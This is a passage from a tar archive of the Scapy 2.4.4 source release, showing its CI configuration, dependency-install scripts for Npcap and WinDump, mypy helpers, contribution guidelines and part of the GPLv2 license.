pax_global_header00006660000000000000000000000064137237005350014517gustar00rootroot0000000000000052 comment=95ba5b8504152a1f820bbe679ccf03668cb5118f scapy-2.4.4/000077500000000000000000000000001372370053500126455ustar00rootroot00000000000000scapy-2.4.4/.appveyor.yml000066400000000000000000000042731372370053500153210ustar00rootroot00000000000000environment: # This key is encrypted using secdev's appveyor private key, # dissected only on master builds (not PRs) and is used during # npcap OEM installation npcap_oem_key: secure: d120KTZBsVnzZ+pFPLPEOTOkyJxTVRjhbDJn9L+RYnM= # Python versions that will be tested # Note: it defines variables that can be used later matrix: - PYTHON: "C:\\Python27-x64" PYTHON_VERSION: "2.7.x" PYTHON_ARCH: "64" TOXENV: "py27-windows" WINPCAP: "false" UT_FLAGS: "" - PYTHON: "C:\\Python37-x64" PYTHON_VERSION: "3.7.x" PYTHON_ARCH: "64" TOXENV: "py37-windows" WINPCAP: "false" UT_FLAGS: "" - PYTHON: "C:\\Python37-x64" PYTHON_VERSION: "3.7.x" PYTHON_ARCH: "64" TOXENV: "py37-windows" WINPCAP: "true" UT_FLAGS: "-K tcpdump" # There is no build phase for Scapy build: off install: # Install the npcap, windump and wireshark suites - ps: .\.config\appveyor\InstallNpcap.ps1 - ps: .\.config\appveyor\InstallWindumpNpcap.ps1 # Installs Wireshark 3.0 (and its dependencies) # https://github.com/mkevenaar/chocolatey-packages/issues/16 - choco install -n KB3033929 KB2919355 kb2999226 - choco install -y wireshark # Install Python modules # https://github.com/tox-dev/tox/issues/791 - "%PYTHON%\\python -m pip install virtualenv --upgrade" - "%PYTHON%\\python -m pip install tox" # Compatibility run with Winpcap # XXX Remove me when wireshark stops using it as default for: - matrix: only: - WINPCAP: "true" install: # Install the winpcap and wireshark suites - choco install -y winpcap # See above for explanations - choco install -n KB3033929 KB2919355 kb2999226 - choco install -y wireshark # Install Python modules - "%PYTHON%\\python -m pip install virtualenv --upgrade" - "%PYTHON%\\python -m pip install tox" test_script: # Set environment variables - set PYTHONPATH=%APPVEYOR_BUILD_FOLDER% - set PATH=%APPVEYOR_BUILD_FOLDER%;C:\Program Files\Wireshark\;C:\Program Files\Windump\;%PATH% # Main unit tests - "%PYTHON%\\python -m tox -- %UT_FLAGS%" after_test: # Run codecov - "%PYTHON%\\python -m tox -e codecov" scapy-2.4.4/.config/000077500000000000000000000000001372370053500141705ustar00rootroot00000000000000scapy-2.4.4/.config/appveyor/000077500000000000000000000000001372370053500160355ustar00rootroot00000000000000scapy-2.4.4/.config/appveyor/InstallNpcap.ps1000066400000000000000000000040711372370053500210540ustar00rootroot00000000000000# Install Npcap on the machine. # Config: $npcap_oem_file = "npcap-0.9997-oem.exe" # Note: because we need the /S option (silent), this script has two cases: # - The script is runned from a master build, then use the secure variable 'npcap_oem_key' which will be available # to decode the very recent npcap install oem file and use it # - The script is runned from a PR, then use the provided archived 0.96 version, which is the last public one to # provide support for the /S option if (Test-Path Env:npcap_oem_key){ # Key is here: on master echo "Using Npcap OEM version" # Unpack the key $user, $pass = (Get-ChildItem Env:npcap_oem_key).Value.replace("`"", "").split(",") if(!$user -Or !$pass){ Throw (New-Object System.Exception) } $file = $PSScriptRoot+"\"+$npcap_oem_file # Download oem file using (super) secret credentials $pair = "${user}:${pass}" $encodedCreds = [System.Convert]::ToBase64String([System.Text.Encoding]::ASCII.GetBytes($pair)) $basicAuthValue = "Basic $encodedCreds" $headers = @{ Authorization = $basicAuthValue } $secpasswd = ConvertTo-SecureString $pass -AsPlainText -Force $credential = New-Object System.Management.Automation.PSCredential($user, $secpasswd) Invoke-WebRequest -uri (-join("https://nmap.org/npcap/oem/dist/",$npcap_oem_file)) -OutFile $file -Headers $headers -Credential $credential } else { # No key: PRs echo "Using backup 0.96" $file = $PSScriptRoot+"\npcap-0.96.exe" # Download the 0.96 file from nmap servers wget "https://nmap.org/npcap/dist/npcap-0.96.exe" -UseBasicParsing -OutFile $file # Now let's check its checksum $_chksum = $(CertUtil -hashfile $file SHA256)[1] -replace " ","" if ($_chksum -ne "83667e1306fdcf7f9967c10277b36b87e50ee8812e1ee2bb9443bdd065dc04a1"){ echo "Checksums does NOT match !" exit } else { echo "Checksums matches !" } } echo ('Installing: ' + $file) # Run installer Start-Process $file -ArgumentList "/loopback_support=yes /S" -wait if($?) { echo "Npcap installation completed" } scapy-2.4.4/.config/appveyor/InstallWindumpNpcap.ps1000066400000000000000000000020611372370053500224150ustar00rootroot00000000000000# Config $urlPath = "https://github.com/hsluoyz/WinDump/releases/download/v0.3/WinDump-for-Npcap-0.3.zip" $checksum = "4253cbc494416c4917920e1f2424cdf039af8bc39f839a47aa4337bd28f4eb7e" ############ ############ # Download the file wget $urlPath -UseBasicParsing -OutFile $PSScriptRoot"\npcap.zip" Add-Type -AssemblyName System.IO.Compression.FileSystem function Unzip { param([string]$zipfile, [string]$outpath) [System.IO.Compression.ZipFile]::ExtractToDirectory($zipfile, $outpath) } Unzip $PSScriptRoot"\npcap.zip" $PSScriptRoot"\npcap" Remove-Item $PSScriptRoot"\npcap.zip" # Now let's check its checksum $_chksum = $(CertUtil -hashfile $PSScriptRoot"\npcap\x64\WinDump.exe" SHA256)[1] -replace " ","" if ($_chksum -ne $checksum){ echo "Checksums does NOT match !" exit } else { echo "Checksums matches !" } # Finally, move it and remove tmp files New-Item -Path "C:\Program Files\Windump" -ItemType directory Move-Item -Force $PSScriptRoot"\npcap\x64\WinDump.exe" "C:\Program Files\Windump\windump.exe" Remove-Item $PSScriptRoot"\npcap" -recurse scapy-2.4.4/.config/ci/000077500000000000000000000000001372370053500145635ustar00rootroot00000000000000scapy-2.4.4/.config/ci/install.sh000077500000000000000000000020061372370053500165660ustar00rootroot00000000000000#!/bin/bash # Install on osx if [ "$OSTYPE" = "darwin"* ] || [ "$TRAVIS_OS_NAME" = "osx" ] then if [ ! -z $SCAPY_USE_PCAPDNET ] then brew update brew install libdnet libpcap fi fi # Install wireshark data, ifconfig & vcan if [ "$OSTYPE" = "linux-gnu" ] || [ "$TRAVIS_OS_NAME" = "linux" ] then sudo apt-get update sudo apt-get -qy install tshark net-tools || exit 1 sudo apt-get -qy install can-utils build-essential linux-headers-$(uname -r) linux-modules-extra-$(uname -r) || exit 1 fi # Make sure libpcap is installed if [ ! -z $SCAPY_USE_PCAPDNET ] then sudo apt-get -qy install libpcap-dev || exit 1 fi # On Travis, "osx" dependencies are installed in .travis.yml if [ "$TRAVIS_OS_NAME" != "osx" ] then # Update pip & setuptools (tox uses those) python -m pip install --upgrade pip setuptools --ignore-installed # Make sure tox is installed and up to date python -m pip install -U tox --ignore-installed fi # Dump Environment (so that we can check PATH, UT_FLAGS, etc.) openssl version set scapy-2.4.4/.config/ci/test.sh000077500000000000000000000031421372370053500161010ustar00rootroot00000000000000#!/bin/bash # test.sh # Usage: # ./test.sh [tox version] [both/root/non_root (default root)] # Example: # ./test.sh 3.7 both if [ "$OSTYPE" = "linux-gnu" ] || [ "$TRAVIS_OS_NAME" = "linux" ] then # Linux OSTOX="linux" UT_FLAGS=" -K tshark" # TODO: also test as root ? # check vcan sudo modprobe -n -v vcan if [[ $? -ne 0 ]] then # The vcan module is currently unavailable on Travis-CI xenial builds UT_FLAGS+=" -K vcan_socket" fi elif [ "$OSTYPE" = "darwin"* ] || [ "$TRAVIS_OS_NAME" = "osx" ] then OSTOX="osx" UT_FLAGS=" -K tcpdump" fi # pypy if python --version 2>&1 | grep -q PyPy then UT_FLAGS+=" -K not_pypy" fi # Create version tag (github actions) PY_VERSION="py${1//./}" PY_VERSION=${PY_VERSION/pypypy/pypy} TESTVER="$PY_VERSION-$OSTOX" # Chose whether to run root or non_root SCAPY_TOX_CHOSEN=${2} if [ "${SCAPY_TOX_CHOSEN}" == "" ] then case ${PY_VERSION} in py27|py38) SCAPY_TOX_CHOSEN="both" ;; *) SCAPY_TOX_CHOSEN="root" esac fi if [ -z $TOXENV ] then case ${SCAPY_TOX_CHOSEN} in both) export TOXENV="${TESTVER}_non_root,${TESTVER}_root" ;; root) export TOXENV="${TESTVER}_root" ;; *) export TOXENV="${TESTVER}_non_root" ;; esac fi # Dump vars (the others were already dumped in install.sh) echo UT_FLAGS=$UT_FLAGS echo TOXENV=$TOXENV # Launch Scapy unit tests tox -- ${UT_FLAGS} || exit 1 # Start Scapy in interactive mode TEMPFILE=$(mktemp) cat < "${TEMPFILE}" print("Scapy on %s" % sys.version) sys.exit() EOF echo "DEBUG: TEMPFILE=${TEMPFILE}" ./run_scapy -H -c "${TEMPFILE}" || exit 1 scapy-2.4.4/.config/codespell_ignore.txt000066400000000000000000000002251372370053500202450ustar00rootroot00000000000000aci ans archtypes ba cace cas cros doas doubleclick eventtypes fo gost iff inout mitre nd negociate ot referer ser te tim ue uint vas wan wanna webp scapy-2.4.4/.config/mypy/000077500000000000000000000000001372370053500151665ustar00rootroot00000000000000scapy-2.4.4/.config/mypy/mypy.ini000066400000000000000000000005751372370053500166740ustar00rootroot00000000000000[mypy] [mypy-IPython] ignore_missing_imports = True [mypy-colorama] ignore_missing_imports = True [mypy-traitlets.config.loader] ignore_missing_imports = True [mypy-scapy.modules.six,scapy.modules.six.moves,scapy.libs.winpcapy] ignore_errors = True ignore_missing_imports = True [mypy-pyx] ignore_missing_imports = True [mypy-matplotlib.lines] ignore_missing_imports = True scapy-2.4.4/.config/mypy/mypy_check.py000066400000000000000000000024061372370053500176750ustar00rootroot00000000000000# This file is part of Scapy # See http://www.secdev.org/projects/scapy for more information # Copyright (C) Philippe Biondi # Copyright (C) Gabriel Potter # This program is published under a GPLv2 license """ Performs Static typing checks over Scapy's codebase """ # IMPORTANT NOTE # # Because we are rolling out mypy tests progressively, # we currently use --follow-imports=skip. This means that # mypy doesn't check consistency between the imports (different files). # # Once each file has been processed individually, we'll remove that to # check the inconsistencies across the files import io import os import sys from mypy.main import main as mypy_main # Load files localdir = os.path.split(__file__)[0] with io.open(os.path.join(localdir, "mypy_enabled.txt")) as fd: FILES = [l.strip() for l in fd.readlines() if l.strip() and l[0] != "#"] if not FILES: print("No files specified. Arborting") sys.exit(0) # Generate mypy arguments ARGS = [ "--py2", "--follow-imports=skip", "--config-file=" + os.path.abspath( os.path.join( localdir, "mypy.ini" ) ) ] + [os.path.abspath(f) for f in FILES] # Run mypy over the files mypy_main(None, sys.stdout, sys.stderr, ARGS) scapy-2.4.4/.config/mypy/mypy_deployment_stats.py000066400000000000000000000022321372370053500222130ustar00rootroot00000000000000# This file is part of Scapy # See https://scapy.net for more information # Copyright (C) Gabriel Potter # This program is published under a GPLv2 license """ Generate MyPy deployment stats """ import os import io import glob from collections import defaultdict # Parse config file localdir = os.path.split(__file__)[0] with io.open(os.path.join(localdir, "mypy_enabled.txt")) as fd: FILES = [l.strip() for l in fd.readlines() if l.strip() and l[0] != "#"] # Scan Scapy ALL_FILES = [ "".join(x.partition("scapy/")[1:]) for x in glob.iglob('../../scapy/**/*.py', recursive=True) ] # Process TOTAL = len(ALL_FILES) ENABLED = 0 MODULES = defaultdict(lambda: (0, [])) for f in ALL_FILES: parts = f.split("/") if len(parts) > 2: mod = parts[1] else: mod = "[main]" e, l = MODULES[mod] if f in FILES: ENABLED += 1 e += 1 l.append(f) MODULES[mod] = (e, l) print("*The numbers correspond to the amount of files processed*") print("**MyPy Support: %.2f%%**" % (ENABLED / TOTAL * 100)) for mod, dat in MODULES.items(): print("- `%s`: %.2f%%" % (mod, dat[0] / len(dat[1]) * 100)) scapy-2.4.4/.config/mypy/mypy_enabled.txt000066400000000000000000000005211372370053500203750ustar00rootroot00000000000000# This file registers all files that have already been processed as part of # https://github.com/secdev/scapy/issues/2158, and therefore will be enforced # with unit tests in future development. # Style cheet: https://mypy.readthedocs.io/en/latest/cheat_sheet.html scapy/__init__.py scapy/main.py scapy/contrib/http2.py scapy/plist.py scapy-2.4.4/.gitattributes000066400000000000000000000001001372370053500155270ustar00rootroot00000000000000scapy/__init__.py export-subst * text=auto *.bat text eol=crlf scapy-2.4.4/.github/000077500000000000000000000000001372370053500142055ustar00rootroot00000000000000scapy-2.4.4/.github/FUNDING.yml000066400000000000000000000000411372370053500160150ustar00rootroot00000000000000github: [gpotter2, guedou, p-l-] scapy-2.4.4/.github/ISSUE_TEMPLATE.md000066400000000000000000000030261372370053500167130ustar00rootroot00000000000000 #### Brief description #### Environment - Scapy version: `scapy version and/or commit-hash` - Python version: `e.g. 3.5` - Operating System: `e.g. Minix 3.4` #### How to reproduce #### Actual result #### Expected result #### Related resources scapy-2.4.4/.github/PULL_REQUEST_TEMPLATE.md000066400000000000000000000017671372370053500200210ustar00rootroot00000000000000 **Checklist:** - [ ] If you are new to Scapy: I have checked [CONTRIBUTING.md](https://github.com/secdev/scapy/blob/master/CONTRIBUTING.md) (esp. section submitting-pull-requests) - [ ] I squashed commits belonging together - [ ] I added unit tests or explained why they are not relevant - [ ] I executed the regression tests for Python2 and Python3 (using `tox` or, `cd test && ./run_tests_py2, cd test && ./run_tests_py3`) - [ ] If the PR is still not finished, please create a [Draft Pull Request](https://github.blog/2019-02-14-introducing-draft-pull-requests/) fixes #xxx scapy-2.4.4/.github/codecov.yml000066400000000000000000000011261372370053500163520ustar00rootroot00000000000000codecov: notify: # Do not send notifications when CI fails require_ci_to_pass: true comment: # Define codevov comments behavior and content behavior: default layout: header, diff, tree require_changes: false coverage: # Define coverage range and precision precision: 2 range: "70..100" round: down status: # Only consider changes to the whole project project: true patch: false changes: false parsers: gcov: branch_detection: conditional: true loop: true macro: false method: false javascript: enable_partials: yes scapy-2.4.4/.github/workflows/000077500000000000000000000000001372370053500162425ustar00rootroot00000000000000scapy-2.4.4/.github/workflows/unittests.yml000066400000000000000000000036331372370053500210340ustar00rootroot00000000000000name: Scapy unit tests on: [push, pull_request] jobs: health: name: Code health check runs-on: ubuntu-latest steps: - name: Checkout Scapy uses: actions/checkout@v2 - name: Setup Python uses: actions/setup-python@v1 with: python-version: 3.8 - name: Install tox run: pip install tox - name: Run flake8 tests run: tox -e flake8 - name: Run codespell run: tox -e spell - name: Run twine check run: tox -e twine docs: name: Build doc runs-on: ubuntu-latest steps: - name: Checkout Scapy uses: actions/checkout@v2 - name: Setup Python uses: actions/setup-python@v1 with: python-version: 3.8 - name: Install tox run: pip install tox - name: Build docs run: tox -e docs mypy: name: Type hints check runs-on: ubuntu-latest steps: - name: Checkout Scapy uses: actions/checkout@v2 - name: Setup Python uses: actions/setup-python@v1 with: python-version: 3.8 - name: Install tox run: pip install tox - name: Run mypy run: tox -e mypy # Github Actions block ICMP. We can still use it for non root tests utscapy: name: Non-sudo unit tests runs-on: ubuntu-latest strategy: matrix: python: [2.7, pypy2, pypy3, 3.5, 3.6, 3.7, 3.8] steps: - name: Checkout Scapy uses: actions/checkout@v2 - name: Setup Python uses: actions/setup-python@v1 with: python-version: ${{ matrix.python }} - name: Install Tox and any other packages run: ./.config/ci/install.sh - name: Run Tox run: ./.config/ci/test.sh ${{ matrix.python }} non_root - name: Codecov uses: codecov/codecov-action@v1 with: file: /home/runner/work/scapy/scapy/.coverage scapy-2.4.4/.gitignore000066400000000000000000000001701372370053500146330ustar00rootroot00000000000000*.pyc *.pyo dist/ build/ MANIFEST *.egg-info/ scapy/VERSION test/*.html .tox .mypy_cache doc/scapy/_build doc/scapy/api scapy-2.4.4/.readthedocs.yml000066400000000000000000000005501372370053500157330ustar00rootroot00000000000000# Readthedocs config file. # See https://docs.readthedocs.io/en/stable/config-file/v2.html#supported-settings # Copied from https://github.com/pycontribs/jira/blob/master/.readthedocs.yml version: 2 formats: - epub - pdf build: image: latest python: version: 3.7 install: - method: pip path: . extra_requirements: - docs scapy-2.4.4/.travis.yml000066400000000000000000000035551372370053500147660ustar00rootroot00000000000000language: python dist: bionic # OpenSSL 1.1.1 cache: directories: - $HOME/.cache/pip - .tox jobs: include: # Run linux as root (non root tested by github ci) - os: linux python: 2.7 env: - TOXENV=py27-linux_root,codecov - os: linux python: pypy2 env: - TOXENV=pypy-linux_root,codecov - os: linux python: pypy3 env: - TOXENV=pypy3-linux_root,codecov - os: linux python: 3.8 env: - TOXENV=py38-linux_root,codecov # run OSX - os: osx osx_image: xcode9.3 language: shell before_install: - python --version - pip install --upgrade --ignore-installed --user pip tox setuptools env: - TOXENV=py27-bsd_non_root,py27-bsd_root,codecov - os: osx osx_image: xcode10.2 language: shell before_install: - python3 --version - pip3 install --upgrade --ignore-installed pip tox setuptools env: - TOXENV=py37-bsd_non_root,py37-bsd_root,codecov # run custom root tests # isotp - os: linux python: 3.8 env: - TOXENV=py38-isotp_kernel_module,codecov # libpcap - os: linux python: 3.8 env: - SCAPY_USE_PCAPDNET=yes TOXENV=py38-linux_root,codecov # warnings/deprecations - os: linux python: 3.8 env: - SCAPY_PY_OPTS="-Werror -X tracemalloc=25" TOXENV=py38-linux_root allow_failures: - env: SCAPY_PY_OPTS="-Werror -X tracemalloc=25" TOXENV=py38-linux_root install: - bash .config/ci/install.sh - python -c "from scapy.all import conf; print(repr(conf))" script: bash .config/ci/test.sh scapy-2.4.4/CONTRIBUTING.md000066400000000000000000000140431372370053500151000ustar00rootroot00000000000000# How to contribute Contributors are essential to Scapy (as they are to most open source projects). Here is some advice to help you help the project! ## Project objectives We try to keep Scapy as powerful as possible, to support as many protocols and platforms as possible, to keep and make the code (and the commit history) as clean as possible. Since Scapy can be slow and memory consuming, we try to limit CPU and memory usage, particularly in parts of the code often called. ## What to contribute You want to spend time working on Scapy but have no (or little) idea what to do? You can look for open issues [labeled "contributions wanted"](https://github.com/secdev/scapy/labels/contributions%20wanted), or look at the [contributions roadmap](https://github.com/secdev/scapy/issues/399) If you have any ideas of useful contributions that you cannot (or do not want to) do yourself, open an issue and include "contributions wanted" in the title. Once you have chosen a contribution, open an issue to let other people know you're working on it (or assign the existing issue to yourself) and track your progress. You might want to ask whether you're working in an appropriate direction, to avoid the frustration of seeing your contribution rejected after a lot of work. ## Reporting issues ### Bugs If you have installed Scapy through a package manager (from your Linux or BSD system, from PyPI, etc.), please get and install the current development code, and check that the bug still exists before submitting an issue. If you're not sure whether a behavior is a bug or not, submit an issue and ask, don't be shy! ### Enhancements / feature requests If you want a feature in Scapy, but cannot implement it yourself or want some hints on how to do that, open an issue and include "enhancement" in the title. Explain if possible the API you would like to have (e.g., give examples of function calls, packet creations, etc.). ## Submitting pull requests ### Coding style & conventions - The code should be PEP-8 compliant; you can check your code with [pep8](https://pypi.python.org/pypi/pep8) and the command `tox -e flake8` - [Pylint](http://www.pylint.org/) can help you write good Python code (even if respecting Pylint rules is sometimes either too hard or even undesirable; human brain needed!). - [Google Python Style Guide](https://google.github.io/styleguide/pyguide.html) is a nice read! - Avoid creating unnecessary `list` objects, particularly if they can be huge (e.g., when possible, use `scapy.modules.six.range()` instead of `range()`, `for line in fdesc` instead of `for line in fdesc.readlines()`; more generally prefer generators over lists). ### Tests Please consider adding tests for your new features or that trigger the bug you are fixing. This will prevent a regression from being unnoticed. Do not use the variable `_` in your tests, as it could break them. If you find yourself in a situation where your tests locally succeed but fail if executed on the CI, try to enable the debugging option for the dissector by setting `conf.debug_dissector = 1`. ### New protocols New protocols can go either in `scapy/layers` or to `scapy/contrib`. Protocols in `scapy/layers` should be usually found on common networks, while protocols in `scapy/contrib` should be uncommon or specific. To be precise, `scapy/layers` protocols should not be importing `scapy/contrib` protocols, whereas `scapy/contrib` protocols may import both `scapy/contrib` and `scapy/layers` protocols. The detailed requirements are explained in [Design patterns](https://scapy.readthedocs.io/en/latest/build_dissect.html#design-patterns) on Scapy's doc. ### Features Protocol-related features should be implemented within the same module as the protocol layers(s) (e.g., `traceroute()` is implemented in `scapy/layers/inet.py`). Other features may be implemented in a module (`scapy/modules`) or a contribution (`scapy/contrib`). ### Core If you contribute to Scapy's core (e.g., `scapy/base_classes.py`, `scapy/packet.py`, etc.), please be very careful with performances and memory footprint, as it is easy to write Python code that wastes memory or CPU cycles. As an example, `Packet().__init__()` is called each time a **layer** is parsed from a string (during a network capture or a PCAP file read). Adding inefficient code here will have a disastrous effect on Scapy's performances. ### Python 2 and 3 compatibility The project aims to provide code that works both on Python 2 and Python 3. Therefore, some rules need to be applied to achieve compatibility: - byte-string must be defined as `b"\x00\x01\x02"` - exceptions must comply with the new Python 3 format: `except SomeError as e:` - lambdas must be written using a single argument when using tuples: use `lambda x, y: x + f(y)` instead of `lambda (x, y): x + f(y)`. - use int instead of long - use list comprehension instead of map() and filter() - use scapy.modules.six.moves.range instead of xrange and range - use scapy.modules.six.itervalues(dict) instead of dict.values() or dict.itervalues() - use scapy.modules.six.string_types instead of basestring - `__bool__ = __nonzero__` must be used when declaring `__nonzero__` methods - `__next__ = next` must be used when declaring `next` methods in iterators - `StopIteration` must NOT be used in generators (but it can still be used in iterators) - `io.BytesIO` must be used instead of `StringIO` when using bytes - `__cmp__` must not be used. - UserDict should be imported via `six.UserDict` ### Code review Maintainers tend to be picky, and you might feel frustrated that your code (which is perfectly working in your use case) is not merged faster. Please don't be offended, and keep in mind that maintainers are concerned about code maintainability and readability, commit history (we use the history a lot, for example to find regressions or understand why certain decisions have been made), performances, integration in Scapy, API consistency (so that someone who knows how to use Scapy will know how to use your code), etc. **Thanks for reading, happy hacking!** scapy-2.4.4/LICENSE000066400000000000000000000432541372370053500136620ustar00rootroot00000000000000 GNU GENERAL PUBLIC LICENSE Version 2, June 1991 Copyright (C) 1989, 1991 Free Software Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA Everyone is permitted to copy and distribute verbatim copies of this license document, but changing it is not allowed. Preamble The licenses for most software are designed to take away your freedom to share and change it. By contrast, the GNU General Public License is intended to guarantee your freedom to share and change free software--to make sure the software is free for all its users. This General Public License applies to most of the Free Software Foundation's software and to any other program whose authors commit to using it. (Some other Free Software Foundation software is covered by the GNU Lesser General Public License instead.) You can apply it to your programs, too. When we speak of free software, we are referring to freedom, not price. Our General Public Licenses are designed to make sure that you have the freedom to distribute copies of free software (and charge for this service if you wish), that you receive source code or can get it if you want it, that you can change the software or use pieces of it in new free programs; and that you know you can do these things. To protect your rights, we need to make restrictions that forbid anyone to deny you these rights or to ask you to surrender the rights. These restrictions translate to certain responsibilities for you if you distribute copies of the software, or if you modify it. For example, if you distribute copies of such a program, whether gratis or for a fee, you must give the recipients all the rights that you have. You must make sure that they, too, receive or can get the source code. And you must show them these terms so they know their rights. We protect your rights with two steps: (1) copyright the software, and (2) offer you this license which gives you legal permission to copy, distribute and/or modify the software. Also, for each author's protection and ours, we want to make certain that everyone understands that there is no warranty for this free software. If the software is modified by someone else and passed on, we want its recipients to know that what they have is not the original, so that any problems introduced by others will not reflect on the original authors' reputations. Finally, any free program is threatened constantly by software patents. We wish to avoid the danger that redistributors of a free program will individually obtain patent licenses, in effect making the program proprietary. To prevent this, we have made it clear that any patent must be licensed for everyone's free use or not licensed at all. The precise terms and conditions for copying, distribution and modification follow. GNU GENERAL PUBLIC LICENSE TERMS AND CONDITIONS FOR COPYING, DISTRIBUTION AND MODIFICATION 0. This License applies to any program or other work which contains a notice placed by the copyright holder saying it may be distributed under the terms of this General Public License. The "Program", below, refers to any such program or work, and a "work based on the Program" means either the Program or any derivative work under copyright law: that is to say, a work containing the Program or a portion of it, either verbatim or with modifications and/or translated into another language. (Hereinafter, translation is included without limitation in the term "modification".) Each licensee is addressed as "you". Activities other than copying, distribution and modification are not covered by this License; they are outside its scope. The act of running the Program is not restricted, and the output from the Program is covered only if its contents constitute a work based on the Program (independent of having been made by running the Program). Whether that is true depends on what the Program does. 1. You may copy and distribute verbatim copies of the Program's source code as you receive it, in any medium, provided that you conspicuously and appropriately publish on each copy an appropriate copyright notice and disclaimer of warranty; keep intact all the notices that refer to this License and to the absence of any warranty; and give any other recipients of the Program a copy of this License along with the Program. You may charge a fee for the physical act of transferring a copy, and you may at your option offer warranty protection in exchange for a fee. 2. You may modify your copy or copies of the Program or any portion of it, thus forming a work based on the Program, and copy and distribute such modifications or work under the terms of Section 1 above, provided that you also meet all of these conditions: a) You must cause the modified files to carry prominent notices stating that you changed the files and the date of any change. b) You must cause any work that you distribute or publish, that in whole or in part contains or is derived from the Program or any part thereof, to be licensed as a whole at no charge to all third parties under the terms of this License. c) If the modified program normally reads commands interactively when run, you must cause it, when started running for such interactive use in the most ordinary way, to print or display an announcement including an appropriate copyright notice and a notice that there is no warranty (or else, saying that you provide a warranty) and that users may redistribute the program under these conditions, and telling the user how to view a copy of this License. (Exception: if the Program itself is interactive but does not normally print such an announcement, your work based on the Program is not required to print an announcement.) These requirements apply to the modified work as a whole. If identifiable sections of that work are not derived from the Program, and can be reasonably considered independent and separate works in themselves, then this License, and its terms, do not apply to those sections when you distribute them as separate works. But when you distribute the same sections as part of a whole which is a work based on the Program, the distribution of the whole must be on the terms of this License, whose permissions for other licensees extend to the entire whole, and thus to each and every part regardless of who wrote it. Thus, it is not the intent of this section to claim rights or contest your rights to work written entirely by you; rather, the intent is to exercise the right to control the distribution of derivative or collective works based on the Program. In addition, mere aggregation of another work not based on the Program with the Program (or with a work based on the Program) on a volume of a storage or distribution medium does not bring the other work under the scope of this License. 3. You may copy and distribute the Program (or a work based on it, under Section 2) in object code or executable form under the terms of Sections 1 and 2 above provided that you also do one of the following: a) Accompany it with the complete corresponding machine-readable source code, which must be distributed under the terms of Sections 1 and 2 above on a medium customarily used for software interchange; or, b) Accompany it with a written offer, valid for at least three years, to give any third party, for a charge no more than your cost of physically performing source distribution, a complete machine-readable copy of the corresponding source code, to be distributed under the terms of Sections 1 and 2 above on a medium customarily used for software interchange; or, c) Accompany it with the information you received as to the offer to distribute corresponding source code. (This alternative is allowed only for noncommercial distribution and only if you received the program in object code or executable form with such an offer, in accord with Subsection b above.) The source code for a work means the preferred form of the work for making modifications to it. For an executable work, complete source code means all the source code for all modules it contains, plus any associated interface definition files, plus the scripts used to control compilation and installation of the executable. However, as a special exception, the source code distributed need not include anything that is normally distributed (in either source or binary form) with the major components (compiler, kernel, and so on) of the operating system on which the executable runs, unless that component itself accompanies the executable. If distribution of executable or object code is made by offering access to copy from a designated place, then offering equivalent access to copy the source code from the same place counts as distribution of the source code, even though third parties are not compelled to copy the source along with the object code. 4. You may not copy, modify, sublicense, or distribute the Program except as expressly provided under this License. Any attempt otherwise to copy, modify, sublicense or distribute the Program is void, and will automatically terminate your rights under this License. However, parties who have received copies, or rights, from you under this License will not have their licenses terminated so long as such parties remain in full compliance. 5. You are not required to accept this License, since you have not signed it. However, nothing else grants you permission to modify or distribute the Program or its derivative works. These actions are prohibited by law if you do not accept this License. Therefore, by modifying or distributing the Program (or any work based on the Program), you indicate your acceptance of this License to do so, and all its terms and conditions for copying, distributing or modifying the Program or works based on it. 6. Each time you redistribute the Program (or any work based on the Program), the recipient automatically receives a license from the original licensor to copy, distribute or modify the Program subject to these terms and conditions. You may not impose any further restrictions on the recipients' exercise of the rights granted herein. You are not responsible for enforcing compliance by third parties to this License. 7. If, as a consequence of a court judgment or allegation of patent infringement or for any other reason (not limited to patent issues), conditions are imposed on you (whether by court order, agreement or otherwise) that contradict the conditions of this License, they do not excuse you from the conditions of this License. If you cannot distribute so as to satisfy simultaneously your obligations under this License and any other pertinent obligations, then as a consequence you may not distribute the Program at all. For example, if a patent license would not permit royalty-free redistribution of the Program by all those who receive copies directly or indirectly through you, then the only way you could satisfy both it and this License would be to refrain entirely from distribution of the Program. If any portion of this section is held invalid or unenforceable under any particular circumstance, the balance of the section is intended to apply and the section as a whole is intended to apply in other circumstances. It is not the purpose of this section to induce you to infringe any patents or other property right claims or to contest validity of any such claims; this section has the sole purpose of protecting the integrity of the free software distribution system, which is implemented by public license practices. Many people have made generous contributions to the wide range of software distributed through that system in reliance on consistent application of that system; it is up to the author/donor to decide if he or she is willing to distribute software through any other system and a licensee cannot impose that choice. This section is intended to make thoroughly clear what is believed to be a consequence of the rest of this License. 8. If the distribution and/or use of the Program is restricted in certain countries either by patents or by copyrighted interfaces, the original copyright holder who places the Program under this License may add an explicit geographical distribution limitation excluding those countries, so that distribution is permitted only in or among countries not thus excluded. In such case, this License incorporates the limitation as if written in the body of this License. 9. The Free Software Foundation may publish revised and/or new versions of the General Public License from time to time. Such new versions will be similar in spirit to the present version, but may differ in detail to address new problems or concerns. Each version is given a distinguishing version number. If the Program specifies a version number of this License which applies to it and "any later version", you have the option of following the terms and conditions either of that version or of any later version published by the Free Software Foundation. If the Program does not specify a version number of this License, you may choose any version ever published by the Free Software Foundation. 10. If you wish to incorporate parts of the Program into other free programs whose distribution conditions are different, write to the author to ask for permission. For software which is copyrighted by the Free Software Foundation, write to the Free Software Foundation; we sometimes make exceptions for this. Our decision will be guided by the two goals of preserving the free status of all derivatives of our free software and of promoting the sharing and reuse of software generally. NO WARRANTY 11. BECAUSE THE PROGRAM IS LICENSED FREE OF CHARGE, THERE IS NO WARRANTY FOR THE PROGRAM, TO THE EXTENT PERMITTED BY APPLICABLE LAW. EXCEPT WHEN OTHERWISE STATED IN WRITING THE COPYRIGHT HOLDERS AND/OR OTHER PARTIES PROVIDE THE PROGRAM "AS IS" WITHOUT WARRANTY OF ANY KIND, EITHER EXPRESSED OR IMPLIED, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE. THE ENTIRE RISK AS TO THE QUALITY AND PERFORMANCE OF THE PROGRAM IS WITH YOU. SHOULD THE PROGRAM PROVE DEFECTIVE, YOU ASSUME THE COST OF ALL NECESSARY SERVICING, REPAIR OR CORRECTION. 12. IN NO EVENT UNLESS REQUIRED BY APPLICABLE LAW OR AGREED TO IN WRITING WILL ANY COPYRIGHT HOLDER, OR ANY OTHER PARTY WHO MAY MODIFY AND/OR REDISTRIBUTE THE PROGRAM AS PERMITTED 